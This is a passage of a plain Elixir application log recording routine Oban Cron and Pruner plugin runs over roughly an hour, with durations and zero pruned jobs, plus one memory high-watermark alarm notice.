{"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:21.178 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:51.180 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.997 [info] {"source":"oban","duration":38619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:21.182 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:51.184 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.998 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:21.186 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:51.188 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.999 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:21.190 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:51.193 [info] {"source":"oban","duration":1768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:01.000 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:21.197 [info] {"source":"oban","duration":3384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:51.202 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.002 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:21.204 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:51.206 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.003 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:21.208 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:51.210 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.004 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:21.213 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:51.215 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.006 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:21.217 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:51.219 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.007 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:21.221 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:51.223 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.008 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:21.225 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:51.230 [info] {"source":"oban","duration":3936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.009 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:21.232 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:51.234 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.011 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:21.236 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:51.238 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.012 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:21.240 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:51.242 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.013 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:21.245 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:51.246 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.017 [info] {"source":"oban","duration":3339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:21.248 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:51.250 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.018 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:21.252 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:51.254 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.020 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:21.256 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:51.258 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.022 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:21.260 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:51.262 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.023 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:21.264 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:51.266 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.024 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:21.268 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:51.270 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.031 [info] {"source":"oban","duration":2476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:21.273 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:51.275 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.034 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:21.277 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:51.279 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.049 [info] {"source":"oban","duration":13334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:21.281 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:51.283 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.050 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:21.285 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:51.287 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.053 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:21.290 [info] {"source":"oban","duration":2228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:51.292 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.061 [info] {"source":"oban","duration":7332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:21.294 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:51.296 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.065 [info] {"source":"oban","duration":2897,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:21.299 [info] {"source":"oban","duration":2024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:51.308 [info] {"source":"oban","duration":8383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.070 [info] {"source":"oban","duration":3755,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:21.310 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:51.314 [info] {"source":"oban","duration":2706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.077 [info] {"source":"oban","duration":5890,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:21.316 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:51.318 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.082 [info] {"source":"oban","duration":4184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:21.320 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:51.322 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.094 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:21.324 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:51.326 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.097 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:21.329 [info] {"source":"oban","duration":2498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:51.331 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.098 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:21.334 [info] {"source":"oban","duration":1797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:51.336 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.108 [info] {"source":"oban","duration":8740,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:21.339 [info] {"source":"oban","duration":2253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:51.341 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.113 [info] {"source":"oban","duration":3570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:21.345 [info] {"source":"oban","duration":2623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:51.347 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.117 [info] {"source":"oban","duration":3064,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:21.349 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:51.351 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.123 [info] {"source":"oban","duration":4087,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:21.353 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:51.355 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.125 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:21.357 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:51.360 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.127 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:21.362 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:51.364 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.129 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:21.366 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:51.369 [info] {"source":"oban","duration":1872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.130 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:21.371 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:51.373 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.136 [info] {"source":"oban","duration":3886,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:21.375 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:51.377 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.138 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:21.379 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:51.381 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.143 [info] {"source":"oban","duration":4229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:21.384 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:51.385 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.148 [info] {"source":"oban","duration":2348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:21.387 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:51.389 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.150 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:21.391 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:51.396 [info] {"source":"oban","duration":3714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.155 [info] {"source":"oban","duration":3585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:21.398 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:51.400 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.159 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:21.402 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:51.406 [info] {"source":"oban","duration":3175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.164 [info] {"source":"oban","duration":3536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:21.408 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:51.412 [info] {"source":"oban","duration":2017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.169 [info] {"source":"oban","duration":3771,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:21.414 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:51.416 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.173 [info] {"source":"oban","duration":3394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:21.418 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:51.420 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.175 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:21.422 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:51.424 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.177 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:21.426 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:51.428 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.179 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:21.431 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:51.433 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.180 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:18.358 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 17:09:21.435 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:51.437 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.181 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:21.439 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:51.440 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.186 [info] {"source":"oban","duration":3509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:21.443 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:51.446 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.192 [info] {"source":"oban","duration":5475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:21.448 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:51.450 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.197 [info] {"source":"oban","duration":3871,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:21.452 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:51.454 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.199 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:21.456 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:51.458 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.203 [info] {"source":"oban","duration":2567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:21.460 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:51.462 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.208 [info] {"source":"oban","duration":3567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:21.464 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:51.466 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.214 [info] {"source":"oban","duration":3213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:21.468 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:51.470 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.220 [info] {"source":"oban","duration":4712,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:21.473 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:51.475 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.226 [info] {"source":"oban","duration":5092,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:21.480 [info] {"source":"oban","duration":3591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:51.482 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.228 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:21.484 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:51.486 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.229 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:21.489 [info] {"source":"oban","duration":2561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:51.491 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.231 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:21.493 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:51.495 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.235 [info] {"source":"oban","duration":2109,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:21.497 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:51.500 [info] {"source":"oban","duration":2171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.261 [info] {"source":"oban","duration":20629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:21.502 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:51.504 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.273 [info] {"source":"oban","duration":6833,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:21.506 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:51.508 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.274 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:21.510 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:51.512 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.279 [info] {"source":"oban","duration":3631,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:21.519 [info] {"source":"oban","duration":5893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:51.521 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.282 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:21.530 [info] {"source":"oban","duration":8362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:51.532 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.287 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:21.534 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:51.537 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.289 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:21.539 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:51.543 [info] {"source":"oban","duration":2602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.291 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:21.545 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:51.548 [info] {"source":"oban","duration":2208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.296 [info] {"source":"oban","duration":4002,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:21.550 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:51.553 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.315 [info] {"source":"oban","duration":6086,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:21.560 